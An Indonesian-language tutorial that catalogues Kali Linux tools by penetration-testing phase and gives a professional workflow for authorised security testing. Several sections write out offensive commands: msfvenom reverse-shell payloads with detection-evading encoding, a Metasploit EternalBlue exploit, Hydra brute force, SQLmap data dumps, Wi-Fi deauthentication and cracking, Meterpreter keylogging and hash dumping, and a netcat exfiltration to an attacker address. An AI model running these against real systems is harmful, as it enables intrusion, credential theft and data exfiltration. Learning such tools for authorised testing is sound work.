Panduan Lengkap Tools Kali Linux: Klasifikasi, Fungsi, dan Workflow Profesional untuk Penetration Testing
Daftar Isi 55 bagian
Kali Linux merupakan distribusi Linux yang dirancang khusus untuk penetration testing, security assessment, dan digital forensics. Dikembangkan dan dikelola oleh Offensive Security, distribusi ini menjadi standar industri yang digunakan oleh profesional keamanan siber di seluruh dunia.
Artikel ini menyajikan klasifikasi tools Kali Linux secara komprehensif berdasarkan fase penetration testing standar industri, fungsionalitas teknis, serta workflow profesional yang dapat diterapkan dalam engagement keamanan siber.
Peringatan Etis: Seluruh tools yang dibahas dalam artikel ini ditujukan untuk pengujian keamanan pada sistem yang memiliki izin resmi. Penggunaan tanpa otorisasi terhadap sistem pihak ketiga merupakan tindakan ilegal dan melanggar hukum.
Information Gathering
Fase information gathering atau reconnaissance merupakan tahap awal dalam siklus penetration testing. Tujuannya adalah mengumpulkan sebanyak mungkin informasi tentang target sebelum melakukan pengujian lebih lanjut.
Network Discovery
| Tool | Fungsi | Contoh Penggunaan |
|---|---|---|
| Nmap | Port scanning, service detection, OS fingerprinting | nmap -sV -sC -O target.com |
| Masscan | Port scanning berkecepatan tinggi untuk skala besar | masscan 10.0.0.0/8 -p80,443 --rate=10000 |
| Zmap | Scanner cepat untuk seluruh IPv4 address space | zmap -p 443 -o results.csv |
| Netdiscover | ARP scanning untuk host discovery di jaringan lokal | netdiscover -r 192.168.1.0/24 |
Nmap tetap menjadi tool paling serbaguna dalam fase ini. Untuk pengintaian awal yang cepat, Masscan mampu memindai ribuan port dalam hitungan detik. Netdiscover berguna untuk mengidentifikasi perangkat aktif dalam segmen jaringan lokal melalui protokol ARP.
DNS Enumeration
| Tool | Fungsi |
|---|---|
| dnsenum | Enumeration DNS komprehensif — subdomain, MX, NS, zone transfer |
| dnsrecon | Advanced DNS scanning dengan brute force subdomain |
| fierce | DNS reconnaissance dengan pendekatan multi-level |
# Contoh DNS enumeration dengan dnsrecon
dnsrecon -d target.com -t std
# Brute force subdomain
dnsrecon -d target.com -D /usr/share/wordlists/dnsmap.txt -t brt
Subdomain Discovery
| Tool | Deskripsi |
|---|---|
| Sublist3r | OSINT untuk enumerasi subdomain via search engine dan API publik |
| Amass | Framework OSINT mendalam dengan integrasi API multiple source |
| Subfinder | Passive subdomain discovery berkecepatan tinggi |
# Amass — enumerasi subdomain
amass enum -d target.com
# Sublist3r — cepat untuk surface-level enumeration
sublist3r -d target.com
OSINT Framework
| Tool | Fungsi Utama |
|---|---|
| theHarvester | Mengumpulkan email, subdomain, IP dari search engine dan PGP servers |
| Recon-ng | Framework modular untuk web reconnaissance |
| Maltego | Visualisasi hubungan data dengan transforms |
# theHarvester — email dan subdomain discovery
theHarvester -d target.com -b google,linkedin
# Maltego — GUI-based, dijalankan via aplikasi grafis
Vulnerability Analysis
Setelah informasi target terkumpul, langkah berikutnya adalah mengidentifikasi kerentanan yang dapat dieksploitasi.
Network Vulnerability Scanners
| Tool | Fungsi |
|---|---|
| OpenVAS | Vulnerability scanner open-source dengan database kerentanan ekstensif |
| Nessus | Vulnerability scanner komersial (tersedia versi trial) |
| Nikto | Web server scanner untuk deteksi konfigurasi berbahaya |
CVE & Database Lookup
# Searchsploit — antarmuka lokal untuk database exploit-db
searchsploit apache 2.4.49
# Mencari exploit berdasarkan CVE
searchsploit --cve 2021-41773
Searchsploit merupakan tool yang sangat penting karena memungkinkan akses offline ke seluruh database Exploit-DB. Ini berguna ketika target berada dalam lingkungan terisolasi tanpa akses internet.
# Format output yang berbeda
searchsploit -t windows --exclude="dos"
# Menampilkan path lengkap exploit
searchsploit -p 12345.py
Web Application Analysis
Web application merupakan salah satu vektor serangan yang paling sering dieksploitasi. Kali Linux menyediakan tools komprehensif untuk mengaudit keamanan aplikasi web.
Interception Proxy
| Tool | Fungsi |
|---|---|
| Burp Suite | Proxy interceptor paling populer — mampu memodifikasi request/response secara real-time |
| OWASP ZAP | Alternatif open-source dengan automated scanner built-in |
| mitmproxy | CLI-based HTTPS proxy untuk automation dan scripting |
Burp Suite Community Edition sudah tersedia di Kali Linux dan mencakup fungsi dasar seperti proxy interception, repeater, dan decoder. Untuk engagement profesional, Burp Suite Professional menawarkan fitur tambahan seperti scanner otomatis dan Intruder yang lebih canggih.
Web Vulnerability Scanners
# Nikto — web server scanner cepat
nikto -h https://target.com
# WPScan — WordPress vulnerability scanner
wpscan --url https://target.com --enumerate u
# SQLmap — automated SQL injection detection dan exploitation
sqlmap -u "https://target.com/page?id=1" --batch --dbs
WPScan merupakan tool spesifik untuk mengaudit keamanan situs WordPress. Kemampuannya meliputi enumerasi plugin, theme, user, serta deteksi kerentanan yang diketahui.
SQLmap secara otomatis mendeteksi dan mengeksploitasi kerentanan SQL injection. Tool ini mendukung berbagai database backend termasuk MySQL, PostgreSQL, Oracle, dan Microsoft SQL Server.
Directory & File Enumeration
| Tool | Deskripsi |
|---|---|
| Gobuster | Directory/file enumeration dengan brute force, mendukung multi-threaded |
| Dirb | Web content scanner dengan wordlist bawaan |
| Dirbuster | GUI-based directory brute force |
# Gobuster — directory brute force
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
# Gobuster — DNS subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/dnsmap.txt
CMS Analysis
| Tool | Target CMS |
|---|---|
| WPScan | WordPress — user enumeration, plugin/theme vuln, password brute force |
| Joomscan | Joomla — component detection, vulnerability scan |
| Droopescan | Drupal — version detection, module enumeration |
Database Assessment
| Tool | Fungsi | Database Target |
|---|---|---|
| SQLmap | Automated SQL injection detection & exploitation, database fingerprinting, data extraction | MySQL, PostgreSQL, Oracle, MSSQL, SQLite |
| jsql | GUI-based SQL injection tool | Multi-platform |
| mdb-sql | Microsoft Access database .mdb parser | MS Access |
# SQLmap — enumerasi database
sqlmap -u "https://target.com/page?id=1" --dbs
# SQLmap — ekstraksi data dari tabel tertentu
sqlmap -u "https://target.com/page?id=1" -D database_name -T users --dump
Password Attacks
Kali Linux menyediakan berbagai tool untuk password cracking, bruteforce, dan hash analysis yang digunakan dalam security assessment.
Hash Cracking
| Tool | Kecepatan | Target Hash |
|---|---|---|
| Hashcat | GPU-accelerated, sangat cepat | NTLM, MD5, SHA1, bcrypt, dan 300+ mode hash |
| John the Ripper | CPU-optimized, mendukung berbagai format | Unix, Windows, macOS, dan aplikasi |
# Hashcat — mode dictionary attack
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
# Hashcat — mode brute force untuk MD5 (8 karakter)
hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a?a?a
# John the Ripper — mode incremental
john --incremental hash.txt
Hashcat merupakan tool pilihan untuk password cracking karena dukungan GPU yang membuatnya jauh lebih cepat dibandingkan CPU-based crackers. Dengan mode serangan yang beragam — dictionary, combinator, mask, rule-based, hingga PRINCE — Hashcat mampu menangani hampir semua jenis hash.
Online Bruteforce
| Tool | Protokol Target |
|---|---|
| Hydra | SSH, FTP, HTTP, SMB, RDP, MySQL, dan 50+ protokol lainnya |
| Medusa | Parallel brute-forcer yang mendukung multi-threaded authentication |
| Ncrack | High-speed authentication cracking, dikembangkan oleh Nmap team |
# Hydra — SSH bruteforce
hydra -l admin -P passwords.txt ssh://192.168.1.10
# Hydra — HTTP form post
hydra -L users.txt -P passwords.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
Wordlist & Rules
| Tool | Deskripsi |
|---|---|
| Crunch | Generate wordlist kustom berdasarkan pola yang ditentukan |
| CeWL | Generate wordlist dari crawling website target — menghasilkan password candidate kontekstual |
| Kwprocessor | Generate wordlist berdasarkan keyboard-walk patterns |
# Crunch — generate wordlist 8 karakter huruf kecil
crunch 8 8 abcdefghijklmnopqrstuvwxyz -o wordlist.txt
# CeWL — extract kata dari website target
cewl https://target.com -m 6 -w wordlist.txt
CeWL (Custom Word List generator) sangat berguna untuk engagement yang ditargetkan. Dengan mengekstrak kata-kata dari website organisasi target, tool ini menghasilkan wordlist yang lebih relevan dan memiliki probabilitas keberhasilan lebih tinggi dibandingkan wordlist generik.
Password Analysis
| Tool | Fungsi |
|---|---|
| Johnny | GUI untuk John the Ripper |
| Hash-Identifier | Identifikasi tipe hash berdasarkan format dan panjangnya |
# Hash-Identifier
hash-identifier
> 5d41402abc4b2a76b9719d911017c592
Possible Hash: MD5
Wireless Attacks
Wireless penetration testing membutuhkan tools khusus untuk mengaudit keamanan jaringan Wi-Fi.
Wireless Monitoring & Capture
| Tool | Fungsi |
|---|---|
| Aircrack-ng | Suite lengkap untuk wireless security assessment |
| Kismet | Wireless network detector, sniffer, dan intrusion detection |
| Wifite | Automated wireless auditor untuk multiple attack vectors |
# Aircrack-ng workflow dasar
# 1. Mode monitor
airmon-ng start wlan0
# 2. Capture handshake
airodump-ng wlan0mon
# 3. Deauth client untuk mempercepat capture handshake
aireplay-ng -0 2 -a [BSSID] -c [ClientMAC] wlan0mon
# 4. Crack handshake
aircrack-ng -w wordlist.txt capture.cap
WPA/WPA2 Cracking
| Tool | Metode |
|---|---|
| Aircrack-ng | Dictionary attack terhadap WPA handshake |
| Cowpatty | WPA/WPA2 PSK cracking dengan precomputed PMK |
| Hashcat | GPU-accelerated WPA handshake cracking (mode 2500) |
# Hashcat — WPA handshake cracking via GPU
# Konversi .cap ke .hccapx dulu
aircrack-ng capture.cap -j output
hashcat -m 2500 output.hccapx /usr/share/wordlists/rockyou.txt
Bluetooth
| Tool | Fungsi |
|---|---|
| BlueZ | Official Linux Bluetooth stack — mencakup hcitool, bluetoothctl |
| BlueMaho | Bluetooth penetration testing framework |
| Redfang | Bluetooth device discovery dan fingerprinting |
Exploitation Tools
Setelah kerentanan teridentifikasi, exploitation tools digunakan untuk memvalidasi apakah kerentanan tersebut dapat dieksploitasi.
Metasploit Framework
| Komponen | Fungsi |
|---|---|
| msfconsole | Antarmuka utama Metasploit |
| msfvenom | Payload generator |
| Modules | Exploit, payload, auxiliary, encoder, post-exploitation |
# Workflow Metasploit dasar
msfconsole
# Di dalam msfconsole:
search smb
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
run
Metasploit Framework menyediakan ribuan exploit dan payload yang siap digunakan. Untuk studi lebih mendalam, lihat panduan khusus Metasploit kami di artikel Panduan Lengkap Metasploit: Basic hingga Intermediate Command.
Payload Generators
# msfvenom — berbagai format payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > shell.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf > shell.elf
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -o payload.apk
# Encoding payload untuk menghindari deteksi
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -e x64/shikata_ga_nai -i 5 -f exe > encoded.exe
Social Engineering Tools
| Tool | Fungsi |
|---|---|
| SET (Social Engineering Toolkit) | Framework untuk spear-phishing, credential harvesting, dan QR code attacks |
| BeEF (Browser Exploitation Framework) | Eksploitasi browser via hooking JavaScript |
| Gophish | Open-source phishing framework dengan dashboard manajemen |
# Menjalankan Social Engineering Toolkit
setoolkit
SET menyediakan berbagai vektor serangan social engineering termasuk spear-phishing email, credential harvesting, dan multi-attack web vectors. BeEF memungkinkan eksploitasi browser yang terhook untuk melakukan reconnaissance browser, keylogging, hingga screenshots.
Sniffing & Spoofing
Tools dalam kategori ini digunakan untuk menganalisis dan memanipulasi traffic jaringan.
Packet Capture & Analysis
| Tool | Fungsi |
|---|---|
| Wireshark | GUI-based packet analyzer dengan filtering dan following streams |
| Tcpdump | CLI packet capture, ringan dan cocok untuk remote/high-throughput environments |
| Tshark | CLI version Wireshark — mendukung display filters dan export |
# Tcpdump — capture traffic dari interface tertentu
tcpdump -i eth0 -n host 192.168.1.1
# Tshark — capture HTTP requests
tshark -i eth0 -Y "http.request.method == GET"
Man-in-the-Middle (MITM)
| Tool | Fungsi |
|---|---|
| Ettercap | MITM attack suite — ARP poisoning, DNS spoofing, traffic interception |
| Bettercap | Framework MITM modern — mendukung ARP, NDP, DHCPv6, DNS, dan HTTPS spoofing |
| Responder | LLMNR/NBT-NS/mDNS poisoner untuk credential harvesting dalam network |
# Bettercap — ARP spoofing
bettercap -eval "set arp.spoof.targets 192.168.1.10; arp.spoof on; net.sniff on"
# Responder — capture NetNTLM credentials dalam network
responder -I eth0 -w -r -f
Responder sangat efektif dalam lingkungan Windows untuk menangkap hash NetNTLM yang dapat di-crack offline atau digunakan dalam relay attacks.
Protocol Spoofing
| Tool | Protokol |
|---|---|
| Ettercap | ARP, DNS, DHCP |
| Bettercap | ARP, NDP, DHCPv6, DNS, HTTPS |
| Dnschef | DNS proxy yang dapat dimanipulasi |
Post-Exploitation
Setelah mendapatkan akses ke sistem target, post-exploitation digunakan untuk mempertahankan akses, melakukan privilege escalation, dan mengumpulkan data lebih lanjut.
Meterpreter Commands
# Setelah mendapatkan session Meterpreter:
sysinfo
getuid
ps
migrate 1234
hashdump
screenshot
keyscan_start
keyscan_dump
upload /path/to/exploit.exe C:\\Windows\\Temp
download C:\\secret.txt
shell
background
Privilege Escalation
| Tool | Target | Pendekatan |
|---|---|---|
| LinPEAS | Linux | Enumeration kerentanan privilege escalation |
| WinPEAS | Windows | Enumeration kerentanan privilege escalation |
| GTFOBins | Linux | Database binary yang dapat digunakan untuk privilege escalation |
| LOLBAS | Windows | Database binary dan script untuk living-off-the-land attacks |
# LinPEAS — enumeration lokal
./linpeas.sh
# WinPEAS — jalankan via shell Windows
winpeas.exe
Persistence
| Tool/Approach | Target |
|---|---|
| Metasploit persistence module | Windows — registry, service, scheduled task |
| SSH authorized_keys | Linux — persistent remote access |
| Cron jobs | Linux — scheduled backdoor |
Data Exfiltration
| Tool | Metode |
|---|---|
| Netcat | Simple TCP/UDP data transfer |
| PowerShell | Base64 encoded file transfer via HTTP |
| Exfil Tool | DNS tunneling dan covert channel |
# Netcat — data exfiltration sederhana
# Target (sender):
nc 192.168.1.5 4444 < sensitive_data.zip
# Attacker (receiver):
nc -lvp 4444 > exfiltrated.zip
Forensics
Kali Linux juga menyediakan tools untuk digital forensics dan incident response.
Disk & File Forensics
| Tool | Fungsi |
|---|---|
| Autopsy | GUI-based forensic analysis platform — timeline analysis, file carving, keyword search |
| Sleuth Kit | CLI tools untuk forensic analysis — icat, fls, mmls, fsstat |
| Foremost | File carving berdasarkan header/footer signature |
| TestDisk | Partition recovery dan undelete utility |
| Binwalk | Firmware analysis — ekstraksi filesystem dari binary firmware |
# Foremost — recover deleted files dari image disk
foremost -i disk.dd -o recovered/
# Binwalk — ekstraksi firmware
binwalk -e firmware.bin
Memory Forensics
| Tool | Fungsi |
|---|---|
| Volatility | Framework memory forensics — analisis proses, koneksi, registry dari RAM dump |
| Rekall | Alternatif Volatility dengan dukungan analisis live |
# Volatility — profil sistem dari memory dump
volatility -f memory.dump imageinfo
# Volatility — daftar proses berjalan
volatility -f memory.dump --profile=Win10x64 pslist
# Volatility — dump hash password dari memory
volatility -f memory.dump --profile=Win10x64 hashdump
Volatility merupakan tool standar untuk memory forensics. Dengan menganalisis RAM dump, investigator dapat merekonstruksi proses yang berjalan, koneksi jaringan aktif, registry keys, serta mengidentifikasi malware yang mungkin tidak terdeteksi di disk.
Network Forensics
| Tool | Fungsi |
|---|---|
| Wireshark | Analisis pcap komprehensif — following streams, expert info |
| NetworkMiner | Forensic network analysis tool — ekstraksi file dari pcap |
| Xplico | Network forensics — rekonstruksi email, HTTP, FTP dari packet capture |
Reporting Tools
Dokumentasi dan reporting merupakan komponen penting dalam engagement penetration testing profesional.
| Tool | Fungsi |
|---|---|
| Dradis | Framework kolaborasi dan reporting untuk penetration testing |
| CherryTree | Hierarchical note-taking yang mendukung rich text dan syntax highlighting |
| Faraday | Platform manajemen vulnerability yang terintegrasi dengan tools scanning |
| Metasploit Pro | Reporting built-in dengan executive summary dan technical findings |
Workflow Profesional
Berikut adalah workflow penetration testing yang merepresentasikan penggunaan tools Kali Linux dalam engagement profesional:
Fase 1: Planning & Reconnaissance
Mulai dengan scope engagement yang jelas dan identifikasi target.
# Passive reconnaissance (tanpa menyentuh target)
theHarvester -d target.com -b google
whois target.com
dig any target.com
# Active reconnaissance (dengan interaksi minimal)
nmap -sn 10.0.0.0/24
masscan 10.0.0.0/24 -p80,443,22,3389 --rate=1000
Fase 2: Scanning & Enumeration
Lakukan pemindaian menyeluruh terhadap target yang teridentifikasi.
# Full port scan dengan service detection
nmap -p- -sV -sC -O -T4 target.com -oA full_scan
# Web enumeration
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
nikto -h https://target.com
Fase 3: Vulnerability Assessment
Identifikasi dan validasi kerentanan yang ditemukan.
# Cari exploit untuk service yang teridentifikasi
searchsploit apache 2.4.49
# Vulnerability scanning
wpscan --url https://target.com --api-token TOKEN
Fase 4: Exploitation
Eksploitasi kerentanan yang telah divalidasi.
# Metasploit exploitation
msfconsole -q
use exploit/linux/http/apache_2_4_49_path_traversal
set RHOSTS target.com
check
run
Fase 5: Post-Exploitation
Setelah mendapatkan akses, lakukan enumeration lokal dan privilege escalation.
# Di dalam session Meterpreter
sysinfo
getuid
hashdump
# Upload LinPEAS untuk enumeration
upload /usr/share/peas/linpeas.sh /tmp/linpeas.sh
shell
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh
Fase 6: Documentation & Reporting
Catat seluruh temuan, bukti, dan rekomendasi dalam laporan yang terstruktur.
Matrix Tools Berdasarkan Fase
| Fase | Tools Utama | Output |
|---|---|---|
| Reconnaissance | Nmap, Amass, theHarvester | Target profile, attack surface map |
| Scanning | Nmap, Masscan, Gobuster | Open ports, running services, hidden paths |
| Vulnerability Assessment | OpenVAS, Nikto, Searchsploit | Vulnerability list, CVEs, potential exploits |
| Exploitation | Metasploit, SQLmap, Hydra | Access gained, password hashes |
| Post-Exploitation | Meterpreter, LinPEAS, Mimikatz | Credentials, sensitive data, persistence |
| Reporting | Dradis, CherryTree, Faraday | Executive summary, technical findings |
Tips Optimalisasi Kali Linux
Update Tools Secara Berkala
# Update seluruh tools
sudo apt update && sudo apt full-upgrade -y
# Update tool spesifik
sudo apt install --only-upgrade metasploit-framework
Custom Wordlist
# Gabungkan wordlist untuk coverage maksimal
wc -l /usr/share/wordlists/rockyou.txt
cat /usr/share/wordlists/rockyou.txt /opt/useful-wordlist.txt > combined.txt
sort -u combined.txt -o merged.txt
Resource Management
Gunakan screen atau tmux untuk mengelola session secara paralel:
# Tmux session untuk engagement multi-target
tmux new -s engagement1
# Di dalam tmux: CTRL+B c untuk window baru, CTRL+B n untuk next window
Kesimpulan
Kali Linux menyediakan ekosistem tools yang sangat lengkap untuk seluruh fase penetration testing — dari information gathering, vulnerability assessment, exploitation, post-exploitation, hingga forensics dan reporting. Pemahaman terhadap klasifikasi dan fungsi masing-masing tool, serta kemampuan mengintegrasikannya dalam workflow profesional, merupakan kompetensi fundamental bagi setiap praktisi keamanan siber.
Meskipun katalog tools Kali Linux sangat luas, efektivitas seorang penetration tester tidak diukur dari jumlah tool yang dikuasai, melainkan dari kemampuan memahami konteks target, memilih tool yang tepat, dan menginterpretasi hasil secara akurat. Tool adalah instrumen; keahlian, pengalaman, dan etika profesional adalah faktor penentu keberhasilan engagement keamanan siber.